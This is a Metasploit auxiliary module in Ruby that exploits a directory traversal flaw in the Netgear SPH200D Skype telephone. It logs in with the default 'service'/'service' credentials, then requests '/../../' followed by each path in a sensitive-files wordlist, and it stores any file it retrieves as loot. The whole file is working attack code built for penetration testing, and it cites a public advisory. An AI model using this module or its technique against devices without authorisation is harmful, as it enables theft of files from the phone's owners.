metasploit-framework/modules/auxiliary/scanner/http/netgear_sph200d_traversal.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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##
require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Netgear SPH200D Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a directory traversal vulnerablity which is present in
Netgear SPH200D Skype telephone.
},
'References' =>
[
[ 'BID', '57660' ],
[ 'EDB', '24441' ],
[ 'URL', 'http://support.netgear.com/product/SPH200D' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ]
],
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
'License' => MSF_LICENSE
)
register_options(
[
OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line",
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File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
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OptString.new('HttpUsername',[ true, 'User to login with', 'service']),
OptString.new('HttpPassword',[ true, 'Password to login with', 'service'])
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], self.class)
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
begin
words = File.open(wordfile, "rb") do |f|
f.read
end
rescue
return []
end
save_array = words.split(/\r?\n/)
return save_array
end
# traverse every file
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def find_files(file,user,pass)
traversal = '/../../'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(traversal, file),
'authorization' => basic_auth(user,pass)
})
if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/
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print_good("Request may have succeeded on file #{file}")
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report_web_vuln({
:host => rhost,
:port => rport,
:vhost => datastore['VHOST'],
:path => "/",
:pname => normalize_uri(traversal, file),
:risk => 3,
:proof => normalize_uri(traversal, file),
:name => self.fullname,
:category => "web",
:method => "GET"
})
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loot = store_loot("lfi.data","text/plain", rhost, res.body, file)
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vprint_good("File #{file} downloaded to: #{loot}")
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elsif res and res.code
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vprint_error("Attempt returned HTTP error #{res.code} when trying to access #{file}")
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end
end
def run_host(ip)
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user = datastore['HttpUsername']
pass = datastore['HttpPassword']
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vprint_status("Trying to login with #{user} / #{pass}")
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# test login
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begin
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
return :abort if res.nil?
return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/)
return :abort if (res.code == 404)
if [200, 301, 302].include?(res.code)
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vprint_good("Successful login #{user}/#{pass}")
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else
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vprint_error("No successful login possible with #{user}/#{pass}")
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return :abort
end
rescue ::Rex::ConnectionError
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vprint_error("Failed to connect to the web server")
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return :abort
end
extract_words(datastore['FILELIST']).each do |file|
find_files(file,user,pass) unless file.empty?
end
end
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end